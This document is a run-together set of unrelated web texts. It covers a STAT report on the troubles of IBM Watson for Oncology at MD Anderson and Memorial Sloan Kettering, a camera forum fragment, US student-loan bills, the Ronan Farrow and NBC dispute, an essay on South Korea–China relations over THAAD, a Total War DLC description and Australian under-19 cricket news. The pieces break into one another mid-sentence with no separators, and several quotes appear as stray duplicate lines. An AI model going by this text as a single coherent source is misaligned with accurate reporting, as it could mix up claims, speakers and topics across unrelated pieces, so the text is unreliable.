The Houston hospital was among IBM's first partners, and it was using the system to create its own expert oncology adviser, similar to the one IBM was developing with Memorial Sloan Kettering. But the project disintegrated amid internal allegations of overspending, delays, and mismanagement.
In all, MD Anderson spent more than three years and $60 million — much of it on outside consultants — before shelving the effort.
The hospital declined to answer questions. But the project leader, Dr. Lynda Chin, in her first media interview on the subject, told STAT about the challenges she faced. Chin left MD Anderson before the project collapsed; a subsequent audit flagged several violations of procurement rules under her leadership.
Chin said that Watson is a powerful technology, but that it is exceedingly difficult to make functional in health care. She and her team encountered numerous roadblocks, some of which still have not been fully addressed by IBM — at MD Anderson or elsewhere.
The cancer hospital's first major challenge involved getting the machine to deal with the idiosyncrasies of medical records: the acronyms, human errors, shorthand phrases, and different styles of writing. "Teaching a machine to read a record is a lot harder than anyone thought,"
"Teaching a machine to read a record is a lot harder than anyone thought,"
she said. Her team spent countless hours on that problem, trying to get Watson to extract valuable information from medical records so that it could apply them to its recommendations.
Chin said her team also wrestled with deploying the system in clinical practice. Watson, even if guided by doctors, is as close as medicine has ever gotten to allowing a machine to help decide the treatments delivered to human beings. That carries with it thorny questions, such as how to test the safety of a digital treatment adviser, how to ensure its compliance with regulations, and how to incorporate it into the daily work of doctors and nurses.
"Importantly," Chin said. "How do we create an environment that can ensure the most important tenet in medicine: Do no harm?"
Geisinger Health System maternity ward nurse Nichole Madara enters and checks patient medical records. Brad Bower/Reuters Finally, the project ran into a bigger obstacle: Even if you can get Watson to understand patient variables and make competent treatment recommendations, how do you get it access to enough patient data, from enough different sources, to derive insights that could significantly advance the standard of care? Chin said that was a showstopper.
That was a showstopper.
Watson did not have a connected network of institutions feeding data about specific cohorts of patients. "You may have 10,000 patients for lung cancer. That is still not a very big number when you think about it," she said.
With data from many more patients, Chin said, you could see patterns — "subsets [of patients] that respond a certain way, subsets that don't, subsets that have a certain toxicity. That pattern would help with better personalized and precision medicine. But we can't get there without the ability to actually have a way of aggregating them."
IBM told STAT that Chin's work was separate from the effort to create Watson for Oncology, which was validated by cancer specialists at Memorial Sloan Kettering prior to its deployment. The company said that Watson for Oncology can extract and summarize substantial text from patient records, though the information must be verified by a clinician, and that it has made significant progress in obtaining more data to improve Watson's performance. It pointed to partnerships with the health care publisher Elsevier and the analytics firm Doctor Evidence.
To date, more than 50 hospitals on five continents have agreements with IBM, or intermediary technology companies, to use Watson for Oncology to treat patients, and others are using the genomics and clinical trials products.
But the partnership with Memorial Sloan Kettering, and the product that grew out of it, resulted in complications that IBM has papered over with carefully parsed statements and misleading marketing.
Watson is shown in an advertisement by IBM. YouTube/IBM In its press releases, IBM celebrates Memorial Sloan Kettering's role as the only trainer of Watson. After all, who better to educate the system than doctors at one of the world's most renowned cancer hospitals?
But several doctors said Memorial Sloan Kettering's training injects bias into the system, because the treatment recommendations it puts into Watson don't always comport with the practices of doctors elsewhere in the world.
Given the same clinical scenario, doctors can — and often do — disagree about the best course of action, whether to recommend surgery or chemotherapy, or another treatment. Those discrepancies are especially wide for second- and third-line treatments given after an initial therapy fails, where evidence of benefits is slimmer and consensus more elusive.
Rather than acknowledge this dilemma, IBM executives, in marketing materials and interviews, have sought to downplay it. In an interview with STAT, DiSanzo, the head of Watson Health, rejected the idea that Memorial Sloan Kettering's involvement creates any bias at all.
"The bias is taken out by the sheer amount of data we have," she said, referring to patient cases and millions of articles and studies fed into Watson.
But that mischaracterizes how Watson for Oncology works. (IBM later claimed that DiSanzo was referring to Watson in general.)
The system is essentially Memorial Sloan Kettering in a portable box. Its treatment recommendations are based entirely on the training provided by doctors, who determine what information Watson needs to devise its guidance as well as what those recommendations should be.
When users ask Watson for advice, the system also searches published literature — some of which is curated by Memorial Sloan Kettering — to provide relevant studies and background information to support its recommendation. But the recommendation itself is derived from the training provided by the hospital's doctors, not the outside literature.
Inserting the doctors' own knowledge into Watson takes years. Reuters Doctors at Memorial Sloan Kettering acknowledged their influence on Watson. "We are not at all hesitant about inserting our bias, because I think our bias is based on the next best thing to prospective randomized trials, which is having a vast amount of experience," said Dr. Andrew Seidman, one of the hospital's lead trainers of Watson. "So it's a very unapologetic bias."
Seidman said the hospital is careful to keep its training grounded in clinical evidence when the evidence exists, but it is not shy about giving its recommendations when it doesn't. "We want cancer care to be democratized," he said. "We don't want doctors who don't have the thousands and thousands of patients' experience on a more rare cancer to be handicapped. We want to share that knowledge base."
At a recent training session of Watson on Manhattan's Upper East Side, the tensions involved in programming the system were on full display.
At a recent training session of Watson on Manhattan's Upper East Side, the tensions involved in programming the system were on full display.
STAT sat in as Memorial Sloan Kettering doctors, led by Seidman, gathered with IBM engineers to train Watson to treat bladder cancer. Five IBM engineers sat on one side of the table. Across from them were three oncologists — one specializing in surgery, another in radiation, and a third in chemotherapy and targeted medicines.
Several minutes into the discussion, the question arose of which treatment to recommend for patients whose cancers persisted through six rounds of chemotherapy.
The options in such cases tend to be as slim as the evidence supporting them. Should Watson recommend a radical surgery to remove the bladder? Dr. Tim Donahue, the surgical oncologist, noted that such surgery seldom cures patients and is not associated with improved survival in his experience.
Then what about another course of chemotherapy combined with radiation?
When Watson gives its recommendations, it puts the top recommendation in green, alternative options in orange, and not recommended options in red.
But in some clinical scenarios, it's difficult to tell the colors apart.
"This is the hard part of this whole game," Dr. Marisa Kollmeier, the radiation oncologist, said during the training. "There's a lack of evidence. And you don't know if something should be in green without evidence. We don't have a randomized trial to support every decision."
But the task in front of them required the doctors to press ahead. And they did, rifling through an array of clinical scenarios. In some cases, a large body of evidence backed up their answers. But many others fell into a gray area or were clouded by the inevitable uncertainty of patient preferences.
The meeting was one of many in a months-long process to bring Watson up to speed in bladder cancer. Subsequent sessions would involve feeding it data on real patient cases at Memorial Sloan Kettering, so doctors could reinforce Watson's training with repetition.
That training does not teach Watson to base its recommendations on the outcomes of these patients, whether they lived, or died or survived longer than similar patients. Rather, Watson makes its recommendations based on the treatment preferences of Memorial Sloan Kettering physicians.
At some institutions using Watson, IBM's lack of clarity on the cancer center's role causes confusion. Some seem to think they are getting advice from doctors around the world.
Some seem to think they are getting advice from doctors around the world.
"As we tell the patients, it's like another consultation, but it's a worldwide consultation," said Dr. K. Adam Lee, medical director of thoracic oncology at Jupiter Medical Center, when STAT visited in June.
"Really worldwide," added Kerri Ward, an oncology nurse at the hospital. "It pulls from 300 journals, just for oncology, the clinical database, so the national clinical database, journals, textbooks, and then Sloan Kettering is the one that's feeding in the clinical [information] currently."
Robert Garrett, the CEO of Hackensack Meridian Health, a group in New Jersey that is using a version of Watson for Oncology, said the information in Watson is "global."
"If you're a patient that has colon cancer, they have in their database, as I understand it, how colon cancer is treated around the world, by different clinicians, what's been the most effective treatment for different phases of colon cancer," Garrett said. "That's what IBM Watson brings to the table."
None of that accurately depicts how Watson for Oncology works.
IBM demonstrates how to use Watson. IBM Several doctors who have examined Watson in other countries told STAT that Memorial Sloan Kettering's role has given them pause. Researchers in Denmark and the Netherlands said hospitals in their countries have not signed on with Watson because it is too focused on the preferences of a few American doctors.
Martijn van Oijen, an epidemiologist and associate professor at Academic Medical Center in the Netherlands, said Memorial Sloan Kettering is packed with top specialists but doesn't have a monopoly on cancer expertise. "The bad thing is, it's a U.S.-based hospital with a different approach than some other hospitals in the world," said van Oijen, who's involved in a national initiative to evaluate technologies like Watson and is a strong believer in using artificial intelligence to help cancer doctors.
In Denmark, oncologists at one hospital said they have dropped the project altogether after finding that local doctors agreed with Watson in only about 33 percent of cases.
Doctors agreed with Watson in only about 33 percent of cases.
"We had a discussion with [IBM] that they had a very limited view on the international literature, basically, putting too much stress on American studies, and too little stress on big, international, European, and other-part-of-the-world studies," said Dr. Leif Jensen, who directs the center at Rigshospitalet in Copenhagen that contains the oncology department.
In countries where doctors were trained in the United States, or they use similar treatment guidelines as the Memorial Sloan Kettering doctors, Watson for Oncology can be helpful.
Taiwan uses the same guidelines as Americans, so Watson's advice will be useful there, said Dr. Jeng-Fong Chiou, vice superintendent of the Taipei Cancer Center at Taipei Medical University, which started using Watson for Oncology with patients in July.
But he also said there are differences between American and Taiwanese patients — his patients often receive lower doses of drugs to minimize side effects — and that his oncologists will have to make adjustments from Watson's recommendations.
The generally affluent population treated at Memorial Sloan Kettering doesn't reflect the diversity of people around the world. The cases used to train Watson therefore don't take into account the economic and social issues faced by patients in poorer countries, noted Ossorio, the University of Wisconsin law professor.
"What it's going to be learning is race, gender, and class bias," she said. "We're baking those social stratifications in, and we're making the biases even less apparent and even less easy for people to recognize."
Sometimes, the recommendations Watson gives diverge sharply from what doctors would say for reasons that have nothing to do with science, such as medical insurance.
Sometimes, the recommendations Watson gives diverge sharply from what doctors would say for reasons that have nothing to do with science, such as medical insurance.
In a poster presented at the Global Breast Cancer Conference 2017 in South Korea, researchers reported that the treatment Watson most often recommended for breast cancer patients simply wasn't covered by the national insurance system.
IBM said it has convened an international group of advisers to gather input on Watson's performance.
It also said that the system can be customized to reflect variations in treatment practices, differences in drug availability and financial considerations, and that the company recently introduced tools reduce the time and cost of adapting Watson.
In a response to STAT's questions, Memorial Sloan Kettering said international journals are part of the literature it provides to Watson, including the Lancet, the European Journal of Cancer, Annals of Oncology, and the BMJ.
"As we do in all areas of cancer research, we will continue to observe and study how Watson for Oncology impacts care internationally, follow the evidence, and work with IBM to optimize the system," the hospital said.
Some hospitals abroad are customizing the system for their patients, adding information about local treatments. Nan Chen, who manages the Watson for Oncology program at Bumrungrad International Hospital in Thailand, said his oncologists use Japanese guidelines, not American guidelines, for treating gastric cancer.
A stand hostess talks to a NAO Watson robot at the IBM stand at the 2016 CeBIT digital technology trade fair on the fair's opening day on March 14, 2016 in Hanover, Germany. Sean Gallup/Getty But he said doctors can find this localization redundant or unnecessary: They are not that interested in being told the same guidance they just taught Watson.
"Our doctors say, this treatment is our own treatment, we know that," Chen said. "You don't need to turn around and put those treatments in Watson, and let Watson tell us what kind of treatment that we are using here in the hospital."
Chen said this modified system is incredibly beneficial, however — to a hospital in the capital of Mongolia that employs zero oncology specialists.
At UB Songdo Hospital, of which Chen's company is a majority owner, doctors are following Watson's suggestions nearly 100 percent of the time. Patients who otherwise would have been treated by generalists with little, if any, cancer training are now benefiting from top-level expertise.
"That is the kind of thing that IBM is dreaming about," Chen said.
In South Korea, Dr. Taewoo Kang, a surgical oncologist at Pusan National University Hospital who specializes in breast cancer, pointed to another important problem that Watson needs to solve. Right now, it provides supporting evidence for the recommendations it makes, but doesn't actually explain how it came to recommend that particular treatment for that particular patient |
(important ways).
There is an article on DPR that compares the new Canon 5Ds to the 645Z and the differences in resolution seem minimal. Even with the new FF 42MP BSI sensor? It is all hype now.. but I suspect it will be a challenger to the 645Z in some (important ways).There is an article on DPR that compares the new Canon 5Ds to the 645Z and the differences in resolution seem minimal.With Election Day about a month away, Congress is accomplishing little with many representatives and senators either campaigning for their own re-election or stumping for the presidential candidates. However, they'll have plenty of work – especially regarding student loan legislation – awaiting them following the election and into January when the 115th Congress assembles in January.
Several bills aimed at relieving the individual and societal burden of student loan debt have been introduced in recent months. Whether these bills proceed piecemeal or are merged into the upcoming reauthorization of the Higher Education Act is yet to be seen. Reauthorization is an opportunity for policymakers to evaluate existing legislation, make improvements, add new programs and review funding levels.
The Higher Education Act, the primary law governing federal higher education programs such as federal student loans, is up for reauthorization every five years in general, although rarely does it happen on time. The last reauthorization was technically due in 2014 but has been stalled up to this point.
While most of the student loan-related bills introduced in recent months have been referred to the respective committees for review, where they lie languishing, a few have progressed further. Some of the bills we discuss below have passed at least one chamber of Congress – in these cases, the House of Representatives. Remember, though, that none of these have become laws yet – but they have a fighting chance as things stand today.
• Empowering Students Through Enhanced Financial Counseling Act: This bill would require higher education institutions to replace entrance student loan counseling for first-time federal student loan borrowers with annual counseling.
It would likewise expand the requirement to include federal Pell Grant recipients and parent PLUS loan borrowers. The U.S. Department of Education is also experimenting with loan counseling in a separate initiative.
[Read more about when students may see changes to loan counseling.]
• Simplifying the Application for Student Aid Act: This bill would ensure that students and families can continue to complete the Free Application for Federal Student Aid – the starting point for applying for all federal aid, including loans – using income tax returns from two years prior to the application date through a process known as "prior-prior year."
Although the law allowed for the use of prior prior data, the FAFSA traditionally relied on income tax data from the previous year only. This year, the Department of Education is using its authority for the first time to allow prior-prior data on the FAFSA.
The Simplifying the Application for Student Aid Act was drafted before the Department of Education made this administrative change; so instead of kicking off the prior-prior process, this legislation would instead amend the Higher Education Act to ensure the policy continues in the future.
The bill would also require the Department of Education to allow applicants to more easily import their available income data through the Internal Revenue Service directly from their tax returns, eliminating many questions students and families struggle to answer. The FAFSA would also have to be made available on a mobile application.
[Read about the importance of filling out the FAFSA early.]
• Stop Taxing Death and Disability Act: While this bill has not passed either full chamber of Congress, both the House and Senate recently passed it for consideration. This bill would stop the practice of taxing forgiven student loan amounts when the borrower dies or becomes disabled.
Currently, federal student loans are eligible for discharge in cases of death or disability, but taxes must be paid on the amount forgiven – which could mean a significant tax bill for the borrower or the borrower's family in the year the loan is forgiven.
The main idea behind these bills is to create tax benefits for employers for either making qualified student loan payments on employees' behalf or reimbursing the employee for payments made, similar to the tax credits that exist now for employer tuition assistance. Additionally, the borrower would not have to pay taxes on the funds provided by the employer toward the student loan.
While these bills have yet to pass either full chamber of Congress, more employers lately have been offering student loan assistance as a workplace benefit. Some states are also starting to move on their own legislation.
While the final outcome with these different student loan-related bills is unclear, a few common issues have arisen on both sides of the aisle, including streamlining regulations imposed on higher education institutions, increasing transparency for college costs, simplifying loan repayment programs and discussing free or debt-free college.When Ronan Farrow made a guest appearance on MSNBC’s “The Rachel Maddow Show” on Tuesday night, he tried to make it clear that he was the reporter, not the story.
“We are there in service of women doing something really tough,” Mr. Farrow told the host, “and I hope people hear their voices and focus on that.”
The next day, however, the media and entertainment industries were still discussing how and why Mr. Farrow’s story on allegations of sexual abuse levied against the film mogul Harvey Weinstein by numerous women had ended up being published by The New Yorker — after it began as an investigative report for NBC News.
Mr. Farrow, formerly a contributing correspondent for NBC News, told Ms. Maddow he had taken his investigation to The New Yorker only after the network dragged its feet. But Noah Oppenheim, the president of NBC News, disputed the suggestion that the network’s news division had lacked the courage to air Mr. Farrow’s exposé.The relations between South Korea and China have experienced a sharp turn, which observers consider as the worst as South Korea edges towards its 2017 elections. Recent events in South Korea have exacerbated tensions between the two countries, leading to analysts believing that China may eventually lose South Korea as a reliable partner. Since the decision to deploy the Terminal High Altitude Area Defense (THAAD) missile defense system against the threat from North Korea, South Korea-China relations had changed in many ways (Chen, 2016). While it was logical for South Korea to strengthen its security in the wake of increasing threats from North Korea, Chen (2016) reported that China considered the move as detrimental to its national security. Currently, the two countries maintain a state of mutual suspicion, which has prevented effective communication of each country’s real intentions.
The THAAD decision by President Park Geun-Hye created a crucial conflict between China and South Korea centering on the threat from North Korea. Some analysts argued that China should start re-thinking the China-South Korea partnership. For example, Yang Xiyu of the China Institute of International Studies opined that China would have to establish counter-measures against THAAD’s X-band radar, which China believed can spy on its activities (The Korea Times, 2016a). According to other analysts, China might feel cornered by South Korea and the US leading to the emergence of a potential Asian-style Cold War (Chen, 2016). A conservative Park Geun-hye strengthened ties with Japan and the US in terms of security cooperation, for example, in the recent THAAD decision, which had hurt South Korea-China relations.
Post-2017 Election Scenarios
The current situation could change in the future considering the country is headed towards elections in 2017. In the past few months, protests erupted in South Korea as the public and the opposition called for Park to step down or face impeachment. For the fifth weekend, protesters braved the cold temperatures on November 26 demanding the resignation of the president over the corruption scandal in which she was embroiled (The Korean Herald, 2016b). The public approval ratings for the president deteriorated to a record low of 4 percent because of the deepening political crisis (The Korea Herald, 2016a). Conversely, opposition parties were gaining a foothold in the ratings within the country. The opposition was on the forefront in their calls for the resignation or impeachment of Park. The rising popularity of Lee Jae-myung, a mayor in a city close to Seoul, could mark a sharp turn in the events after the elections in 2017. Lee gained favorable ratings as the next presidential candidate who could oust Park (Kim, 2016). External factors, especially pertinent to the relations between South Korea and the US, could also affect the relations between China and South Korea in the future. In case Park loses the elections, the relations between China and South Korea could either improve or deteriorate depending on the foreign policy adopted by the new government.
The populist movement has shown commitment to regime change towards reforms, which Lee promises to bring. In an article published by The Japan Times, Lee vowed to dub Japan as a security foe considering its lack of commitment in the aggression against North Korea (Kim, 2016). Furthermore, Lee pledged that he would strengthen ties with the US in terms of security cooperation. Considering the uncertainty of US foreign policy under Donald Trump, security cooperation with the US could become a challenge for Lee if he becomes the president. Consequently, this could leave China as the only option for cooperation in terms of security in the area. However, the unapologetic rhetoric taken by Lee against conservative politicians meant that he could reform foreign policy to seek alliances elsewhere other than with traditional allies such as China (Jun-suk, 2016). However, the economic interdependence between South Korea and China could reduce tensions and normalize the situation in the future (Chen, 2016). Therefore, the future of the relations remains open to deterioration or improvement depending on the foreign policy stance of the next government.
China’s Reaction to the Scandal
China has expressed strong opposition to the deployment of THAAD as well as the close relations South Korea has been building with Japan and the US. In the wake of the scandal involving the president and a longtime acquaintance of hers, the Chinese media expressed the general opinion of the Chinese authorities. For instance, Xinhua, China’s state-owned news agency, ran an editorial suggesting that authorities in China considered the road ahead for Park as significantly uncertain. Some Chinese officials supported Park’s resignation and called for an in-depth rethinking of the bilateral partnership between the two countries (The Korea Times, 2016a)
The current situation has significant implications for the deployment of THAAD and the ensuing relations between China and North Korea. While South Korea faces a political scandal around Park, China has been revisiting the implications for THAAD deployment. Park’s continued clinging onto power has created havoc in the country’s international relations (Whan-woo, 2016). The recent event on the weekend of November 26 involving over a million demonstrators showed the increasing dissent among the citizens. Although the call for impeachment became louder, the opposition remained uncertain whether the impeachment motion would pass because it was short of 28 votes. However, some members of the ruling Saenuri Party promised to support the impeachment motion, which provided some optimism for the passage of the motion. The impeachment or resignation of President Park would mean that the country would hold elections in 60 days (Kim, 2016).
On November 29, Park announced that she was ready to resign. Although she rejected calls to step down immediately, she left the decision on the timing and means of resignation to the National Assembly (The Korea Times, 2016b). President Park indicated that she would follow the measures drawn by the National Assembly if there is a transition of government. Further, the President indicated that she was ready for the presidential term to be shortened and she would resign once the National Assembly established the procedures to follow. In case of a transition in government, the procedures include the selection of a bipartisan prime minister to head the interim cabinet and an early presidential election. After her statement on her intent to resign through the National Assembly directive, the opposition parties criticized her decision indicating that she was deliberately delaying the parliamentary vote and hanging on to power. Although Park changed her resignation stance, the three main opposition parties were planning to push for her impeachment(The Korea Times, 2016b).
The impeachment of Park could lead to the failure in the deployment of THAAD, as well as possible return of normal relations between China and South Korea.
A recent Chinese Communist Party newspaper suggested that the political crisis facing Park meant that she could not guarantee THAAD deployment (Chang, 2016). Similarly, a Xinhua editorial claimed that the subsequent government would face an obstacle and crisis regarding THAAD deployment, despite the absence of foreseeable changes in its placement policy in the short-run. Therefore, the election of a government emphasizing closer relations with China could affect the THAAD deployment or make it impossible. Currently, most opposition parties oppose the deployment of THAAD. As reported by Xinhua, opposition parties including the Minju Party and the Democratic Party suggested accelerated impeachment as the President had paralyzed the government for months amidst dissent over the THAAD deployment (Chang, 2016). In August, the Chinese Ambassador to South Korea warned that THAAD deployment would strain South Korea-China relations further. Abstractly, the impeachment of Park could lead to the failure in the deployment of THAAD, as well as possible return of normal relations between China and South Korea.
China has expressed opposition to the signing of a military intelligence sharing agreement between South Korea and Japan. China has argued that the signing of the pact will increase tensions with North Korea. The foreign ministry of China spokesman, Geng Shuang, has accused Japan and South Korea of initiating a cold war on the Korean Peninsula (The Japan Times, 2016). The spokesman argued that the current situation in the Korean Peninsula should be handled with sensitivity and any military operation should respect the security concerns of the neighboring countries. However, the US secretary of defense, Ash Carter, has welcomed the pact, indicating that it will strengthen cooperation between the US and its closest allies and enable efficient information sharing. In essence, the accord will facilitate South Korea and Japan in sharing more information on regional security. For instance, the countries will share security information regarding North Korea’s pursuit of ballistic missiles and nuclear weapons. Although there was opposition in South Korea regarding the strengthening of military relations with Japan, the general security of military information agreement (GSOMIA) was signed on November 22, 2016 (The Japan Times, 2016). The diplomatic ties between Japan and South Korea have improved in recent years since they share security alliances with the US.
Political Parties Divided over THAAD
The political parties have divided opinions regarding the implementation of THAAD. Several prominent leaders within the parties have voiced their opinions or the opinions of their parties demonstrating the fault lines on how South Korea should deal with the increasing threats from North Korea in relation to China and US relations. Some of party leaders have suggested a complete abandonment of THAAD and engagement of North Korea in negotiations while others have suggested the development of nuclear capabilities in the country, against US interests (Jo, 2016).
Several members of the New Frontiers Party (NPF) have continually supported the THAAD decision, but division has continued manifesting in the party. Although North Korea’s latest nuclear test helped in legitimizing the decision to boost security through THAAD, it also culminated to the resurgence of nuclear proliferation debates. Consequently, some party members opined that the US should redeploy the tactical nuclear weapons it withdrew in the 1990s. According to NPF insiders, China contributed to the THAAD decision by failing to contribute to the Six Party Talks (Jo, 2016).
The opposition parties have also shown significant division in opinion, but the common consensus is that the THAAD decision does not favor South Korea’s international relations. The Democratic Party of Korea, which is the largest opposition party, expressed regret regarding the president’s decision to allow the deployment of the THAAD system without consulting with the opposition (Jo, 2016). However, the interim party leader, Kim Jong-in suggested that he was not opposed to the deployment categorically, but opposed the lack of consultation. However, many other party members have been critical of the decision and the deployment itself. For instance, Lee, a figure who has become popular in the Democratic Party, categorically opposed the THAAD decision and its deployment, considering it as going against the people’s will (Kim, 2016). Furthermore, some members of the Democratic Party travelled to China to hold talks with the Chinese authorities and elites regarding the deployment of THAAD, a move that the NPF criticized strongly. Upon taking up the party leadership, Choo Mi-ae declared that the Democratic Party would take a strong stance against THAAD (Jo, 2016). According to the new party leader, THAAD is diplomatically undesirable and militarily useless because it only strengthens the relations between China and North Korea.
The recent scandal and the THAAD decision have exposed the flaws of the parties’ ideologies, especially those of the ruling party.
The People’s Party has also shifted its stance regarding the THAAD decision in recent days. Initially, the People’s Party leader, Ahn Cheol-soo had called for a public referendum on the decision to deploy the THAAD system. Furthermore, the party officials had passionately criticized the Democratic Party for failing to adopt an official stance against THAAD as the People’s Party had done. However, public support for the system increased in the weeks following the announcement about security cooperation resulting in the People’s Party backing down from the explicit rejection of THAAD. However, the party claimed that the THAAD decision was South Korea’s remaining bargaining chip against China. According to the party, South Korea should reconsider THAAD deployment and foster full cooperation with China against North Korea. While the party rejects the THAAD decision, it has also criticized China for failing to contain the nuclear advances in North Korea, which has culminated with the decision to bolster security inside South Korea. The Justice Party, a minor opposition party with six seats in the National Assembly, has a similar opinion regarding THAAD (Jo, 2016).
The parties have different opinions regarding foreign policy. The foreign policy orientations of the parties can be considered as progressive, moderate, or conservative. The Democratic Party and the ruling Saenuri Party have traditionally shown minimal ideological differences. Essentially, the Democratic Party can be considered as moderate in its foreign policy orientation with centrist views with a conservative perception towards international relations and diplomacy. As such, the party still considers the alliance with China as crucial while North Korea remains a threat. However, the recent political events in South Korea have changed the tone with progressive ideologies appearing among some of the party members (Jong-Yeop, 2016).
The People’s Party has a different ideology from the Democratic Party. The party has a largely progressive view on foreign policy. The party supports dialogue and persuasion of North Korea for meaningful change. The Justice Party represents the most liberal politics in the country. Unlike the other opposition parties, the Justice Party considers the lack of progressive rhetoric in the country as an anomaly. In recent months, the Justice Party has declared its shift from progressive politics based on ideology to progressive politics based on reality. Therefore, the party emphasizes the improvement of the country based on effective relations based on dialogue and persuasion (Jong-Yeop, 2016). See Table 1.
Table 1. South Korea Domestic Support for US Alliance (Jong-Yeop, 2016)
Favors persuasion/dialogue for meaningful change Change in North Korea must precede Total 53.2% 44% Ideology Progressive 62.9% 34.9% Moderate 55.8% 41.9% Conservative 42.9% 58.2% Party Support Saenuri 38% 58.8% DUP 64.3% 34.6% UPP 80.8% 18.2%
The political milieu in South Korea is marked with different parties with diverse opinions and ideologies. The recent scandal and the THAAD decision have exposed the flaws of the parties’ ideologies, especially those of the ruling party. However, the rise of progressive rhetoric among party leaders indicates a new start for politics in South Korea. Recent events in South Korea such as the deployment of THAAD and the signing of GSOMIA have exacerbated tensions with China leading to analysts believing that China may eventually lose South Korea as an ally and a reliable partner. Although the main opposition parties have had divided opinion regarding the THAAD decision, the Democratic Party and the People’s Party emphasize negotiations and dialogue with neighboring countries. President Park’s impeachment, resignation or loss in the 2017 general elections could improve relations between South Korea and China, However, the foreign policy adopted by the new government will determine the future relations between South Korea and China.
References
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Chen, D. (2016, August 22). Is China losing South Korea? The Diplomat. Retrieved from http://thediplomat.com/2016/08/is-china-losing-south-korea/
Jo, E. (2016). Seoul’s THAAD decision and its implications for China-ROK relations. The ASAN Forum 4(5). Retrieved from http://www.theasanforum.org/seouls-thaad-decision-and-its-implications-for-china-rok-relations/
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The Korea Herald. (2016, November 27)b. Anti-Park protesters march in Seoul for 5th straight week. The Korea Herald. Retrieved from http://www.koreaherald.com/view.php?ud=20161126000139
The Japan Times. (2016, November 24). China opposes Japan-South Korea military intelligence sharing pact. The Japan Times. Retrieved from http://www.japantimes.co.jp/news/2016/11/24/national/china-opposes-japan-south-korea-military-intelligence-sharing-pact/#.WD5i6uZ97IW
Whan-woo, Y. (2016, November 22). S. Korea’s biggest diplomatic risk: its President. The Korea Times. Retrieved from http://www.koreatimes.co.kr/www/news/nation/2016/11/120_218728.htmlAbout This Content
The Longbeards Culture Pack brings three new playable factions to Total War™: ATTILA. The Langobards, the Burgundians and the Alamans may be used in Single or Multiplayer Campaign modes and Custom and Multiplayer battles.After centuries facing the threat of Roman dominance, these three formidable and warlike Germanic kingdoms are ready at last to sweep forth in expansionist campaigns from their tribal homelands. The Western Roman Empire lies to the South, her border territories weak and ripe for the plunder. With their unique blend of new buildings, battlefield units and faction traits, The Longbeards are poised to exploit the chaos of the age.In history, these factions would go on to found some of the great empires of the medieval period. Will you marshal their might to forge those empires yourself?New Kingdoms: Building conversion rate -50%Playing as these factions will present you with a new series of linked narrative events. The Lay Of Ybor is delivered in the style of a Germanic Saga, in which you direct the actions of a fabled hero through a series of branching narrative choices. As the story draws to its conclusion, Ybor himself becomes available as a general for your armies, complete with traits that mirror the choices you made.These factions bear unique traits which differentiate their play-style in the Total War™: ATTILA Grand Campaign.Bred For The HuntIcy Determination: +10% unit replenishmentHarsh Sustenance: +15 food for every region with poor fertilityGermanic UnityFrontiersmen: 15% increased melee attack versus romans.Royal Splendour: +50% to general’s radius of influence in battle.Godan’s ChosenEmancipators: Number of men recruited from defeated enemy forces is doubled.The Fury of Our Maker’s Hand: +10% unit morale when fighting armies of other religions.Players waging a campaign with the Langobards, Burgundians or Alamans will receive a unique series of mission objectives over the course of the campaign. Among these is a new optional objective which offers you a substantial injection of wealth to abandon your settlements and become a true migratory faction.Complementing the Germanic barbarian unit roster, The Burgundians, Langobards and Alamans each have access to a number of unique units in battle:• Barbed Skirmishers• Barbed Javelinmen• Scattershot Hurlers• Elite Scattershot Slingers• Burgundian Mounted Axemen• Barbed Lancers• Royal Lancers• Burgundian Axemen• War Hounds• Bejewelled Nobles• Scavenger• Alamannic Scavengers• Elite Alamannic Scavengers• Chnodomar's Raiders• Protectores Defectors• Captured Cheiroballistra• Young Wolves• Godansmen• Godan's Chosen• Horse Hewers• Horse Slayers• Langobard Clubmen• Scaled Clubmen• New ‘Curing’ building chain: Curing Shack -> Smokeshed -> Salt Warehouse• Court of Countless Kings: level 5 upgrade to Hall of Elders• New ‘Gem’ building chain: Gem Deposit -> Gem Cutter -> Gem Setter -> Gem Connoisseur• New ‘Freedman’ building chain: Emancipation Ground -> Freedman Commune• Beheading Copse• Court of Godan’s DanceThe Longbeards Culture pack features several new ancillaries with which to bolster the skills and abilities of your campaign’s key characters:• Pforzen Buckle: Siege defence bonus.• Sacrificial Dagger: Cheaper religious buildings and stronger religious influence• Godan’s Inspirer: Increases damage and melee skill at the expense of armour• Benevolent Swindler: Increases money gained from embezzlement.Although occupying the eastern part of central Europe in AD98 and surrounded by other tribal societies, archaeological and linguistic evidence suggests that the Burgundii originated on the Baltic Sea island of Bornholm. By the first century AD however, the Burgundii were active in mainland Europe. As the centuries progressed, they solidified their position as a power in the north and east of the continent. Although defeated by the Romans and surrounded by enemies, as the 4th century begins and the authority of the Western Roman Empire wanes, many tribes have pushed further into former imperial territory. As such the Burgundii now have the chance to move across The Rhine and take their rightful place there – in a world free from the shackles of Imperial Rome!As the spirited successors of the Suebi the Alemanni intend to forge a new life for their people away from the nomadic terror of the Huns and their ilk. Regarding themselves as Rome’s nemesis despite several defeats – notably at the battle of Lake Benacus – they have nevertheless stripped the empire of much of its western territory and have the collective will to carry on the fight. Led by a tribal confederation of greater and lesser kings, princes and chiefs who claim royal blood, the Alemanni levy a diverse range of Germanic troops to fight for them. Their destiny, however troubled, lies in greatness beyond The Rhine; their tenacity and sheer bloody-minded determination will see their ambition realised!When the small yet noble Winili tribe faced the vandals, their god Godan declared he would give victory to the tribe he saw first on the day of battle. Seeing the Winili with their women warriors, he asked “who are these long beards?” and awarded them victory. The tribe were from then on known as the Langobardi. Now they live along the river Elbe, far from their roots. Led by their king, who shares power with his people wherever possible, they are a determined tribe who have weathered many storms to achieve greatness. Langobardi history is marked by struggle and bloody conflict, and their future doubtless holds more of the same. Yet the Longobardi will emerge victorious, with renewed strength, to face anything the gods can throw at them!Young NSW allrounder Austin Waugh, the son of former Test captain Steve Waugh, has earnt a maiden call-up to Australia's Under-19s side for their upcoming series against Sri Lanka Under-19s in Tasmania.
Former Test players Matthew Elliott and Ryan Harris, who last month were appointed high performance coaches at the Bupa National Cricket Centre in Brisbane, will coach the side.
Another familiar surname also features, with powerful Victorian Will Sutherland, the son of Cricket Australia CEO James, included in the 15-man squad.
Batsman Jason Sangha (NSW) and allrounder Max Bryant (Queensland) are the only two members of the squad who are currently contracted at senior domestic level.
Future stars impress at U17 Ntional Champs
Sangha and Sutherland both lined up for the Cricket Australia XI against the senior Pakistan side in January this year, while Sangha also represented the Prime Minister’s XI against Sri Lanka last month.
Waugh was the player of the under-17 championships final earlier in the summer, capping a terrific tournament with an unbeaten 122 to lead NSW Metro to a 152-run win over Queensland.
